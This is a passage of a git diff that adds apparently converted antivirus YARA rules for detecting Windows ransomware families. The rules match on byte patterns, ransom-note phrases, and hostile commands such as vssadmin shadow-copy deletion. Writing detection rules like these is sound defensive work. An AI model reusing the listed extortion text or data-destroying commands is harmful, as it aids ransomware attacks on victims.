1)*1+(#a_01_2 & 1)*10) >=12 + +} \ No newline at end of file diff --git a/Ransom/Win64/AnonCrypt/Ransom_Win64_AnonCrypt_PA_MTB.yar b/Ransom/Win64/AnonCrypt/Ransom_Win64_AnonCrypt_PA_MTB.yar new file mode 100644 index 0000000000..240668b2ad --- /dev/null +++ b/Ransom/Win64/AnonCrypt/Ransom_Win64_AnonCrypt_PA_MTB.yar @@ -0,0 +1,14 @@ + +rule Ransom_Win64_AnonCrypt_PA_MTB{ + meta: + description = "Ransom:Win64/AnonCrypt.PA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 04 00 00 " + + strings : + $a_01_0 = {41 6e 6f 6e 2d 67 20 46 6f 78 } //3 Anon-g Fox + $a_01_1 = {47 6f 20 62 75 69 6c 64 20 49 44 } //1 Go build ID + $a_01_2 = {59 6f 75 72 20 66 69 6c 65 73 20 68 61 76 65 20 62 65 65 6e 20 65 6e 63 72 79 70 74 65 64 20 73 75 63 63 65 73 73 66 75 6c 6c 79 21 } //1 Your files have been encrypted successfully! + $a_01_3 = {54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 20 6f 6e 6c 79 20 72 75 6e 20 69 6e 20 49 73 72 61 65 6c 2e 65 78 65 } //1 This program can only run in Israel.exe + condition: + ((#a_01_0 & 1)*3+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Ransom/Win64/Anubis/Ransom_Win64_Anubis_A.yar b/Ransom/Win64/Anubis/Ransom_Win64_Anubis_A.yar new file mode 100644 index 0000000000..a1296486c0 --- /dev/null +++ b/Ransom/Win64/Anubis/Ransom_Win64_Anubis_A.yar @@ -0,0 +1,20 @@ + +rule Ransom_Win64_Anubis_A{ + meta: + description = "Ransom:Win64/Anubis.A,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 0a 00 00 " + + strings : + $a_01_0 = {2e 61 6e 75 62 69 73 } //1 .anubis + $a_01_1 = {52 45 53 54 4f 52 45 20 46 49 4c 45 53 2e 74 78 74 } //1 RESTORE FILES.txt + $a_01_2 = {2f 4b 45 59 3d } //1 /KEY= + $a_01_3 = {2f 57 49 50 45 4d 4f 44 45 } //1 /WIPEMODE + $a_01_4 = {2f 65 6c 65 76 61 74 65 64 } //1 /elevated + $a_01_5 = {2f 50 46 41 44 3d } //1 /PFAD= + $a_01_6 = {44 65 6c 65 74 69 6e 67 20 73 65 72 76 69 63 65 73 2e 2e 2e } //1 Deleting services... + $a_01_7 = {45 6e 63 72 79 70 74 69 6f 6e 20 63 6f 6d 70 6c 65 74 65 64 20 69 6e 3a } //1 Encryption completed in: + $a_01_8 = {44 69 72 65 63 74 6f 72 79 20 77 61 6c 6b 20 63 6f 6d 70 6c 65 74 65 64 20 77 69 74 68 20 77 61 72 6e 69 6e 67 73 3a 20 25 76 } //1 Directory walk completed with warnings: %v + $a_01_9 = {3d 3d 3d 20 45 6e 63 72 79 70 74 69 6f 6e 20 53 74 61 74 69 73 74 69 63 73 20 3d 3d 3d } //1 === Encryption Statistics === + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Ransom/Win64/Anubis/Ransom_Win64_Anubis_C_MTB.yar b/Ransom/Win64/Anubis/Ransom_Win64_Anubis_C_MTB.yar new file mode 100644 index 0000000000..1afd650f99 --- /dev/null +++ b/Ransom/Win64/Anubis/Ransom_Win64_Anubis_C_MTB.yar @@ -0,0 +1,13 @@ + +rule Ransom_Win64_Anubis_C_MTB{ + meta: + description = "Ransom:Win64/Anubis.C!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 00 " + + strings : + $a_03_0 = {49 3b 66 10 76 33 48 83 ec 28 48 89 6c 24 20 48 8d 6c 24 20 48 8d 05 94 4e 07 00 bb 12 00 00 00 31 c9 31 ff e8 ?? ?? ?? ?? 48 85 db 0f 94 c0 48 8b 6c 24 20 } //2 + $a_03_1 = {4c 89 d8 48 8d 1d 12 0d 07 00 b9 05 00 00 00 e8 ?? ?? ?? ?? 48 8b 4c 24 38 48 8b 54 24 28 4c 8b 44 24 58 4c 8b 4c 24 48 4c 8b 54 24 30 4c 8b 5c 24 50 89 c3 48 8b 44 24 40 84 db 74 } //2 + $a_01_2 = {2e 61 6e 75 62 69 73 } //1 .anubis + condition: + ((#a_03_0 & 1)*2+(#a_03_1 & 1)*2+(#a_01_2 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Ransom/Win64/Babuk/Ransom_Win64_Babuk_GZZ_MTB.yar b/Ransom/Win64/Babuk/Ransom_Win64_Babuk_GZZ_MTB.yar new file mode 100644 index 0000000000..b88182d32b --- /dev/null +++ b/Ransom/Win64/Babuk/Ransom_Win64_Babuk_GZZ_MTB.yar @@ -0,0 +1,13 @@ + +rule Ransom_Win64_Babuk_GZZ_MTB{ + meta: + description = "Ransom:Win64/Babuk.GZZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 00 " + + strings : + $a_01_0 = {66 83 71 02 6b 66 83 71 04 3f 66 83 71 0a 49 66 83 71 10 0b 66 83 71 12 6b 66 83 71 14 3f 66 83 71 1a 49 66 83 71 20 0b 66 83 71 22 6b 66 83 71 24 3f c6 41 26 00 48 8b c1 } //10 + $a_01_1 = {63 72 69 74 69 63 61 6c 20 70 6f 69 6e 74 73 20 6f 66 20 79 6f 75 72 20 6e 65 74 77 6f 72 6b 20 68 61 73 20 62 65 65 6e 20 63 6f 6d 70 72 6f 6d 69 73 65 64 } //1 critical points of your network has been compromised + $a_01_2 = {61 6c 6c 20 6f 66 20 79 6f 75 72 20 63 6f 6d 70 61 6e 79 27 73 20 63 72 69 74 69 63 61 6c 20 64 61 74 61 20 68 61 73 20 62 65 65 6e 20 74 72 61 6e 73 66 65 72 72 65 64 20 74 6f 20 6f 75 72 20 73 65 72 76 65 72 73 } //1 all of your company's critical data has been transferred to our servers + condition: + ((#a_01_0 & 1)*10+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=12 + +} \ No newline at end of file diff --git a/Ransom/Win64/Basta/Ransom_Win64_Basta_VZT_MTB.yar b/Ransom/Win64/Basta/Ransom_Win64_Basta_VZT_MTB.yar new file mode 100644 index 0000000000..c5cd77c07d --- /dev/null +++ b/Ransom/Win64/Basta/Ransom_Win64_Basta_VZT_MTB.yar @@ -0,0 +1,11 @@ + +rule Ransom_Win64_Basta_VZT_MTB{ + meta: + description = "Ransom:Win64/Basta.VZT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {66 03 d7 0f b7 ff 66 33 d1 0f b7 c2 0f af f8 b8 bf 00 00 00 ff 08 48 8b 44 24 28 44 0f b6 08 0f b6 84 24 ?? ?? ?? ?? 44 0f af c8 b8 0d 37 76 51 41 f7 e1 b8 bf 00 00 00 c1 ea 09 44 69 c2 49 06 00 00 48 8b 15 ?? ?? ?? ?? 45 2b c8 4c 63 00 46 23 0c 82 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Ransom/Win64/BlackLock/Ransom_Win64_BlackLock_GKP_MTB.yar b/Ransom/Win64/BlackLock/Ransom_Win64_BlackLock_GKP_MTB.yar new file mode 100644 index 0000000000..7553f0e43f --- /dev/null +++ b/Ransom/Win64/BlackLock/Ransom_Win64_BlackLock_GKP_MTB.yar @@ -0,0 +1,14 @@ + +rule Ransom_Win64_BlackLock_GKP_MTB{ + meta: + description = "Ransom:Win64/BlackLock.GKP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_01_0 = {73 65 6e 73 69 74 69 76 65 20 64 61 74 61 20 77 61 73 20 65 78 66 69 6c 74 72 61 74 65 64 20 61 6e 64 20 79 6f 75 72 20 73 79 73 74 65 6d 73 20 77 65 72 65 20 65 6e 63 72 79 70 74 65 64 } //1 sensitive data was exfiltrated and your systems were encrypted + $a_01_1 = {49 72 72 65 76 65 72 73 69 62 6c 65 20 6c 6f 73 73 20 6f 66 20 79 6f 75 72 20 65 6e 63 72 79 70 74 65 64 20 64 61 74 61 } //1 Irreversible loss of your encrypted data + $a_01_2 = {77 65 20 68 61 76 65 20 73 74 6f 6c 65 6e 20 79 6f 75 72 20 64 61 74 61 } //1 we have stolen your data + $a_01_3 = {2e 6f 6e 69 6f 6e 2f 63 68 61 74 } //1 .onion/chat + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Ransom/Win64/Booran/Ransom_Win64_Booran_PB_MTB.yar b/Ransom/Win64/Booran/Ransom_Win64_Booran_PB_MTB.yar new file mode 100644 index 0000000000..3c490213d4 --- /dev/null +++ b/Ransom/Win64/Booran/Ransom_Win64_Booran_PB_MTB.yar @@ -0,0 +1,11 @@ + +rule Ransom_Win64_Booran_PB_MTB{ + meta: + description = "Ransom:Win64/Booran.PB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {4c 89 e9 e8 ?? ?? ?? ?? 48 8b 8d ?? ?? ?? ?? 31 04 b9 48 ff c7 48 39 fe 75 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Ransom/Win64/CrazyHunter/Ransom_Win64_CrazyHunter_YAC_MTB.yar b/Ransom/Win64/CrazyHunter/Ransom_Win64_CrazyHunter_YAC_MTB.yar new file mode 100644 index 0000000000..4fa2813d67 --- /dev/null +++ b/Ransom/Win64/CrazyHunter/Ransom_Win64_CrazyHunter_YAC_MTB.yar @@ -0,0 +1,17 @@ + +rule Ransom_Win64_CrazyHunter_YAC_MTB{ + meta: + description = "Ransom:Win64/CrazyHunter.YAC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 07 00 00 " + + strings : + $a_01_0 = {47 6f 20 62 75 69 6c 64 20 49 44 3a } //1 Go build ID: + $a_01_1 = {50 72 69 6e 63 65 2d 52 61 6e 73 6f 6d 77 61 72 65 } //1 Prince-Ransomware + $a_01_2 = {49 27 6d 20 43 72 61 7a 79 48 75 6e 74 65 72 } //1 I'm CrazyHunter + $a_01_3 = {65 6e 63 72 79 70 74 65 64 20 61 6c 6c 20 79 6f 75 72 20 73 79 73 74 65 6d 73 } //10 encrypted all your systems + $a_01_4 = {73 74 6f 6c 65 20 79 6f 75 72 20 66 69 6c 65 } //1 stole your file + $a_01_5 = {6d 61 64 65 20 70 75 62 6c 69 63 } //1 made public + $a_01_6 = {64 65 6c 65 74 65 20 61 6c 6c 20 74 68 65 20 64 61 74 61 } //1 delete all the data + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*10+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1) >=16 + +} \ No newline at end of file diff --git a/Ransom/Win64/Crypmod/Ransom_Win64_Crypmod_ARAX_MTB.yar b/Ransom/Win64/Crypmod/Ransom_Win64_Crypmod_ARAX_MTB.yar new file mode 100644 index 0000000000..e4e4a19e4c --- /dev/null +++ b/Ransom/Win64/Crypmod/Ransom_Win64_Crypmod_ARAX_MTB.yar @@ -0,0 +1,11 @@ + +rule Ransom_Win64_Crypmod_ARAX_MTB{ + meta: + description = "Ransom:Win64/Crypmod.ARAX!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {8b 85 0c 01 00 00 48 63 d0 48 8b 85 ?? ?? ?? ?? 48 01 d0 0f b6 10 8b 85 0c 01 00 00 48 63 c8 48 8b 85 ?? ?? ?? ?? 48 01 c8 83 f2 55 88 10 83 85 0c 01 00 00 ?? 8b 85 0c 01 00 00 3b 85 ?? ?? ?? ?? 7c bd } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Ransom/Win64/Crypren/Ransom_Win64_Crypren_A_MTB.yar b/Ransom/Win64/Crypren/Ransom_Win64_Crypren_A_MTB.yar new file mode 100644 index 0000000000..70acda506c --- /dev/null +++ b/Ransom/Win64/Crypren/Ransom_Win64_Crypren_A_MTB.yar @@ -0,0 +1,16 @@ + +rule Ransom_Win64_Crypren_A_MTB{ + meta: + description = "Ransom:Win64/Crypren.A!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 00 " + + strings : + $a_81_0 = {2e 6c 6f 63 6b 65 64 } //1 .locked + $a_81_1 = {44 65 63 72 79 70 74 20 46 69 6c 65 73 } //1 Decrypt Files + $a_81_2 = {44 65 63 72 79 70 74 69 6f 6e 20 77 6f 75 6c 64 20 72 75 6e 20 68 65 72 65 2e } //1 Decryption would run here. + $a_81_3 = {49 6e 63 6f 72 72 65 63 74 20 70 61 73 73 77 6f 72 64 2e } //1 Incorrect password. + $a_81_4 = {52 61 6e 73 6f 6d 53 69 6d 57 6e 64 } //1 RansomSimWnd + $a_81_5 = {59 6f 75 72 20 66 69 6c 65 73 20 68 61 76 65 20 62 65 65 6e 20 65 6e 63 72 79 70 74 65 64 } //1 Your files have been encrypted + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Ransom/Win64/Crypren/Ransom_Win64_Crypren_NITE_MTB.yar b/Ransom/Win64/Crypren/Ransom_Win64_Crypren_NITE_MTB.yar new file mode 100644 index 0000000000..856280fb03 --- /dev/null +++ b/Ransom/Win64/Crypren/Ransom_Win64_Crypren_NITE_MTB.yar @@ -0,0 +1,14 @@ + +rule Ransom_Win64_Crypren_NITE_MTB{ + meta: + description = "Ransom:Win64/Crypren.NITE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 04 00 00 " + + strings : + $a_03_0 = {48 8b 95 40 11 00 00 48 8d 0d 4c ?? 00 00 48 8d 85 10 10 00 00 49 89 d1 49 89 c8 ba 04 01 00 00 48 89 c1 e8 fc 14 00 00 48 8d 15 38 ?? 00 00 48 8d 85 10 10 00 00 48 89 c1 e8 ee 75 00 00 48 89 85 20 11 00 00 48 83 bd 20 11 00 00 00 75 23 48 8b 85 28 11 00 00 48 89 c1 } //2 + $a_01_1 = {8b 85 1c 11 00 00 89 45 ec 48 8b 85 28 11 00 00 48 89 c1 e8 78 74 00 00 89 85 18 11 00 00 48 8b 85 00 10 00 00 8b 8d 18 11 00 00 c7 44 24 30 00 10 00 00 48 8d 55 ec 48 89 54 24 28 48 8d 55 f0 48 89 54 24 20 41 b9 00 00 00 00 41 89 c8 ba 00 00 00 00 48 89 c1 48 8b 05 8b da 00 00 ff d0 8b 45 ec 89 c1 48 8b 95 20 11 00 00 48 8d 45 f0 49 89 d1 49 89 c8 ba 01 00 00 00 48 89 c1 e8 3e 74 00 00 48 8b 95 28 11 00 00 48 8d 45 f0 49 89 d1 41 b8 00 10 00 00 ba 01 00 00 00 48 89 c1 e8 0d 74 00 00 89 85 1c 11 00 00 83 bd 1c 11 00 00 00 0f 85 4a ff ff ff } //2 + $a_01_2 = {45 6e 63 72 79 70 74 65 64 20 61 6e 64 20 64 65 6c 65 74 65 64 } //1 Encrypted and deleted + $a_01_3 = {2e 65 6e 63 72 79 70 74 65 64 } //1 .encrypted + condition: + ((#a_03_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Ransom/Win64/CyberVolk/Ransom_Win64_CyberVolk_PB_MTB.yar b/Ransom/Win64/CyberVolk/Ransom_Win64_CyberVolk_PB_MTB.yar new file mode 100644 index 0000000000..f58321ecfc --- /dev/null +++ b/Ransom/Win64/CyberVolk/Ransom_Win64_CyberVolk_PB_MTB.yar @@ -0,0 +1,13 @@ + +rule Ransom_Win64_CyberVolk_PB_MTB{ + meta: + description = "Ransom:Win64/CyberVolk.PB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 00 " + + strings : + $a_01_0 = {2e 43 79 62 65 72 56 6f 6c 6b } //1 .CyberVolk + $a_01_1 = {46 49 4c 45 53 20 4c 4f 43 4b 45 44 20 42 59 20 43 59 42 45 52 56 4f 4c 4b } //3 FILES LOCKED BY CYBERVOLK + $a_01_2 = {59 4f 55 52 20 46 49 4c 45 53 20 48 41 56 45 20 42 45 45 4e 20 45 4e 43 52 59 50 54 45 44 21 } //1 YOUR FILES HAVE BEEN ENCRYPTED! + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*3+(#a_01_2 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Ransom/Win64/DireWolf/Ransom_Win64_DireWolf_A.yar b/Ransom/Win64/DireWolf/Ransom_Win64_DireWolf_A.yar new file mode 100644 index 0000000000..5f367eb5eb --- /dev/null +++ b/Ransom/Win64/DireWolf/Ransom_Win64_DireWolf_A.yar @@ -0,0 +1,12 @@ + +rule Ransom_Win64_DireWolf_A{ + meta: + description = "Ransom:Win64/DireWolf.A,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_03_0 = {73 69 7a 65 20 3d 20 2c 20 74 ?? 69 6c 20 3d 20 2e 64 69 72 65 77 6f 6c 66 2f } //1 + $a_01_1 = {6d 61 69 6e 2e 65 6e 63 72 79 70 74 46 69 6c 65 2e 66 75 6e 63 32 00 6d 61 69 6e 2e } //1 + condition: + ((#a_03_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Ransom/Win64/Filecoder/Ransom_Win64_FileCoder_AYG_MTB.yar b/Ransom/Win64/Filecoder/Ransom_Win64_FileCoder_AYG_MTB.yar new file mode 100644 index 0000000000..09b2008588 --- /dev/null +++ b/Ransom/Win64/Filecoder/Ransom_Win64_FileCoder_AYG_MTB.yar @@ -0,0 +1,15 @@ + +rule Ransom_Win64_FileCoder_AYG_MTB{ + meta: + description = "Ransom:Win64/FileCoder.AYG!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 00 " + + strings : + $a_01_0 = {54 68 69 73 20 49 53 20 72 65 61 6c 20 72 61 6e 73 6f 6d 77 61 72 65 2e 20 41 72 65 20 79 6f 75 20 73 75 72 65 20 79 6f 75 20 77 61 6e 74 20 74 6f 20 72 75 6e 20 69 74 3f } //2 This IS real ransomware. Are you sure you want to run it? + $a_01_1 = {44 6f 20 6e 6f 74 20 63 6c 6f 73 65 20 74 68 65 20 77 69 6e 64 6f 77 20 6f 72 20 69 74 20 63 6f 75 6c 64 20 6c 65 61 64 20 74 6f 20 64 61 74 61 20 6c 6f 73 73 21 } //1 Do not close the window or it could lead to data loss! + $a_01_2 = {65 6e 63 72 79 70 74 65 64 5f 66 69 6c 65 73 2e 74 78 74 } //1 encrypted_files.txt + $a_01_3 = {61 61 61 5f 54 6f 75 63 68 4d 65 4e 6f 74 5f 2e 74 78 74 } //1 aaa_TouchMeNot_.txt + $a_01_4 = {53 6f 66 74 77 61 72 65 5c 43 6c 61 73 73 65 73 5c 2e 78 63 72 79 70 74 5c 44 65 66 61 75 6c 74 49 63 6f 6e } //1 Software\Classes\.xcrypt\DefaultIcon + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Ransom/Win64/Filecoder/Ransom_Win64_FileCoder_GTD_MTB.yar b/Ransom/Win64/Filecoder/Ransom_Win64_FileCoder_GTD_MTB.yar new file mode 100644 index 0000000000..3a6aefc9ca --- /dev/null +++ b/Ransom/Win64/Filecoder/Ransom_Win64_FileCoder_GTD_MTB.yar @@ -0,0 +1,14 @@ + +rule Ransom_Win64_FileCoder_GTD_MTB{ + meta: + description = "Ransom:Win64/FileCoder.GTD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_01_0 = {57 65 20 68 61 76 65 20 65 6e 63 72 79 70 74 65 64 20 79 6f 75 72 20 64 61 74 61 20 61 6e 64 20 65 78 66 69 6c 74 72 61 74 65 64 20 73 65 6e 73 69 74 69 76 65 20 64 6f 63 75 6d 65 6e 74 73 } //1 We have encrypted your data and exfiltrated sensitive documents + $a_01_1 = {53 63 72 65 65 6e 73 68 6f 74 20 6f 66 20 6f 74 68 65 72 20 63 75 73 74 6f 6d 65 72 73 20 77 68 6f 20 68 61 76 65 20 70 61 69 64 20 61 6e 64 20 72 65 63 65 69 76 65 64 20 64 65 63 72 79 70 74 69 6f 6e } //1 Screenshot of other customers who have paid and received decryption + $a_01_2 = {54 6f 20 72 65 63 6f 76 65 72 20 79 6f 75 72 20 66 69 6c 65 73 20 61 6e 64 20 70 72 65 76 65 6e 74 20 70 75 62 6c 69 63 20 64 69 73 63 6c 6f 73 75 72 65 20 6f 66 20 64 6f 63 75 6d 65 6e 74 73 20 61 20 70 61 79 6d 65 6e 74 20 69 6e 20 66 6f 72 6d 20 6f 66 20 63 72 79 70 74 6f 20 63 75 72 72 65 6e 63 79 20 69 73 20 72 65 71 75 69 72 65 64 } //1 To recover your files and prevent public disclosure of documents a payment in form of crypto currency is required + $a_01_3 = {56 73 73 61 64 6d 69 6e 64 65 6c 65 74 65 73 68 61 64 6f 77 73 2f 61 6c 6c 2f 71 75 69 65 74 } //1 Vssadmindeleteshadows/all/quiet + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Ransom/Win64/Filecoder/Ransom_Win64_FileCoder_GXD_MTB.yar b/Ransom/Win64/Filecoder/Ransom_Win64_FileCoder_GXD_MTB.yar new file mode 100644 index 0000000000..1b9981c8e3 --- /dev/null +++ b/Ransom/Win64/Filecoder/Ransom_Win64_FileCoder_GXD_MTB.yar @@ -0,0 +1,13 @@ + +rule Ransom_Win64_FileCoder_GXD_MTB{ + meta: + description = "Ransom:Win64/FileCoder.GXD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_01_0 = {41 4c 4c 20 59 4f 55 52 20 49 4d 50 4f 52 54 41 4e 54 20 46 49 4c 45 53 20 41 52 45 20 53 54 4f 4c 45 4e 20 41 4e 44 20 45 4e 43 52 59 50 54 45 44 } //1 ALL YOUR IMPORTANT FILES ARE STOLEN AND ENCRYPTED + $a_80_1 = {2f 63 20 53 43 48 54 41 53 4b 53 2e 65 78 65 20 2f 44 65 6c 65 74 65 20 2f 54 4e 20 22 57 69 6e 64 6f 77 73 20 55 70 64 61 74 65 20 41 4c 50 48 56 22 20 2f 46 } ///c SCHTASKS.exe /Delete /TN "Windows Update ALPHV" /F 1 + $a_01_2 = {43 6f 6e 74 61 63 74 20 75 73 20 69 6d 6d 65 64 69 61 74 65 6c 79 20 74 6f 20 70 72 65 76 65 6e 74 20 64 61 74 61 20 6c 65 61 6b 61 67 65 20 61 6e 64 20 72 65 63 6f 76 65 72 20 79 6f 75 72 20 66 69 6c 65 73 } //1 Contact us immediately to prevent data leakage and recover your files + condition: + ((#a_01_0 & 1)*1+(#a_80_1 & 1)*1+(#a_01_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Ransom/Win64/Filecoder/Ransom_Win64_FileCoder_KK_MTB.yar b/Ransom/Win64/Filecoder/Ransom_Win64_FileCoder_KK_MTB.yar new file mode 100644 index 0000000000..b6250f26a2 --- /dev/null +++ b/Ransom/Win64/Filecoder/Ransom_Win64_FileCoder_KK_MTB.yar @@ -0,0 +1,12 @@ + +rule Ransom_Win64_FileCoder_KK_MTB{ + meta: + description = "Ransom:Win64/FileCoder.KK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 02 00 00 " + + strings : + $a_03_0 = {43 33 1c 87 45 89 e0 41 c1 ec 08 45 0f b6 e4 47 0f b6 24 23 4c 8d 3d ?? ?? ?? ?? 43 33 1c a7 45 0f b6 c0 47 0f b6 04 18 4c 8d 25 f5 38 1b 00 43 33 1c 84 eb } //20 + $a_01_1 = {48 81 ec 98 00 00 00 48 89 ac 24 90 00 00 00 48 8d ac 24 90 00 00 00 48 89 84 24 a0 00 00 00 49 c7 c5 00 00 00 00 4c 89 ac 24 88 00 00 00 c6 44 24 3f 00 48 89 d9 48 8d 3d cf da 02 00 be 0b 00 00 00 48 89 c3 31 c0 } //10 + condition: + ((#a_03_0 & 1)*20+(#a_01_1 & 1)*10) >=30 + +} \ No newline at end of file diff --git a/Ransom/Win64/Filecoder/Ransom_Win64_FileCoder_MX_MTB.yar b/Ransom/Win64/Filecoder/Ransom_Win64_FileCoder_MX_MTB.yar index da29467d25..10fd860ed8 100644 --- a/Ransom/Win64/Filecoder/Ransom_Win64_FileCoder_MX_MTB.yar +++ b/Ransom/Win64/Filecoder/Ransom_Win64_FileCoder_MX_MTB.yar @@ -1,7 +1,7 @@ -rule Ransom_Win64_FileCoder_MX_MTB{ +rule Ransom_Win64_Filecoder_MX_MTB{ meta: - description = "Ransom:Win64/FileCoder.MX!MTB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 00 " + description = "Ransom:Win64/Filecoder.MX!MTB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 00 " strings : $a_01_0 = {48 8d 05 cc a7 11 00 31 c9 31 ff 48 89 fe 0f 1f } //1 @@ -9,9 +9,9 @@ rule Ransom_Win64_FileCoder_MX_MTB{ ((#a_01_0 & 1)*1) >=1 } -rule Ransom_Win64_FileCoder_MX_MTB_2{ +rule Ransom_Win64_Filecoder_MX_MTB_2{ meta: - description = "Ransom:Win64/FileCoder.MX!MTB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 00 " + description = "Ransom:Win64/Filecoder.MX!MTB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 00 " strings : $a_01_0 = {48 8b 44 24 30 48 8b 5c 24 18 e8 27 ff ff ff e9 49 ff ff ff } //1 @@ -19,9 +19,9 @@ rule Ransom_Win64_FileCoder_MX_MTB_2{ ((#a_01_0 & 1)*1) >=1 } -rule Ransom_Win64_FileCoder_MX_MTB_3{ +rule Ransom_Win64_Filecoder_MX_MTB_3{ meta: - description = "Ransom:Win64/FileCoder.MX!MTB,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 00 " + description = "Ransom:Win64/Filecoder.MX!MTB,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 00 " strings : $a_01_0 = {45 42 79 74 65 2d 52 61 6e 73 6f 6d 77 61 72 65 } //1 EByte-Ransomware diff --git a/Ransom/Win64/Filecoder/Ransom_Win64_FileCoder_SP_MTB.yar b/Ransom/Win64/Filecoder/Ransom_Win64_FileCoder_SP_MTB.yar new file mode 100644 index 0000000000..8586c03478 --- /dev/null +++ b/Ransom/Win64/Filecoder/Ransom_Win64_FileCoder_SP_MTB.yar @@ -0,0 +1,14 @@ + +rule Ransom_Win64_FileCoder_SP_MTB{ + meta: + description = "Ransom:Win64/FileCoder.SP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_81_0 = {49 20 61 6d 20 74 68 65 20 77 61 6c 72 75 73 2e 20 49 20 68 61 76 65 20 74 61 6b 65 6e 20 74 68 65 20 6c 69 62 65 72 74 79 20 6f 66 20 70 72 6f 74 65 63 74 69 6e 67 20 74 68 65 20 64 61 74 61 20 6f 6e 20 79 6f 75 72 20 6d 61 63 68 69 6e 65 20 62 79 20 65 6e 63 72 79 70 74 69 6e 67 20 69 74 20 61 6c 6c } //1 I am the walrus. I have taken the liberty of protecting the data on your machine by encrypting it all + $a_81_1 = {43 3a 5c 66 6c 61 67 2e 74 78 74 2e 74 75 73 6b } //1 C:\flag.txt.tusk + $a_81_2 = {43 3a 5c 44 45 43 52 59 50 54 5f 59 4f 55 52 5f 46 49 4c 45 53 2e 74 78 74 } //1 C:\DECRYPT_YOUR_FILES.txt + $a_81_3 = {72 65 70 6f 73 5c 54 75 73 6b 4c 6f 63 6b 65 72 32 5c 78 36 34 5c 52 65 6c 65 61 73 65 5c 54 75 73 6b 4c 6f 63 6b 65 72 32 2e 70 64 62 } //1 repos\TuskLocker2\x64\Release\TuskLocker2.pdb + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Ransom/Win64/Filecoder/Ransom_Win64_FileCoder_TMX_MTB.yar b/Ransom/Win64/Filecoder/Ransom_Win64_FileCoder_TMX_MTB.yar new file mode 100644 index 0000000000..f99d46d9b8 --- /dev/null +++ b/Ransom/Win64/Filecoder/Ransom_Win64_FileCoder_TMX_MTB.yar @@ -0,0 +1,14 @@ + +rule Ransom_Win64_FileCoder_TMX_MTB{ + meta: + description = "Ransom:Win64/FileCoder.TMX!MTB,SIGNATURE_TYPE_PEHSTR,0b 00 0b 00 04 00 00 " + + strings : + $a_01_0 = {8d 48 01 48 8b 45 f0 48 8b 55 10 89 4c 24 28 48 8b 4d 18 48 89 4c 24 20 } //5 + $a_01_1 = {53 6f 66 74 77 61 72 65 5c 4d 69 63 72 6f 73 6f 